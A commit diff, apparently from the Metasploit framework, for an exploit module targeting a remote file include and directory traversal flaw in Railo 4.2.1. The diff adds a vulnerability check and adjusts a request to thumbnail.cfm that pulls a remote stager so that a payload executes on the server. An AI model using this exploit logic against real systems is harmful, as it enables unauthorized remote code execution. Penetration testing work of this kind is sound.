Add check method
parent
438f0e6365
commit
ee3e5c9159
|
@ -17,10 +17,10 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
'Description' => %q{
|
||||
This module exploits a remote file include vulnerability in Railo,
|
||||
tested against version 4.2.1. First, a call using a vulnerable
|
||||
<cffile> line in thumbnail.cfm allows an attacker to download an
|
||||
arbitrary PNG file. By appending a .cfm and taking advantage of
|
||||
<cffile> line in thumbnail.cfm allows an atacker to download an
|
||||
arbitrary PNG file. By appending a .cfm, and taking advantage of
|
||||
a directory traversal, an attacker can append cold fusion markup
|
||||
to the PNG file and have it interpreted by the server. This is
|
||||
to the PNG file, and have it interpreted by the server. This is
|
||||
used to stage and execute a fully-fledged payload.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
|
@ -63,6 +63,13 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'url' => normalize_uri(target_uri.path, 'res', 'css', 'admin42.css.cfm')
|
||||
})
|
||||
|
||||
return Exploit::CheckCode::Appears if res and res.code == 200
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
@ -92,7 +99,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
wh = '5000' #width and height
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path + '/admin/thumbnail.cfm'),
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'thumbnail.cfm'),
|
||||
'vars_get' => {
|
||||
'img' => url + '/' + stager_name,
|
||||
'height' => wh,
|
||||
|
|
Loading…
Reference in New Issue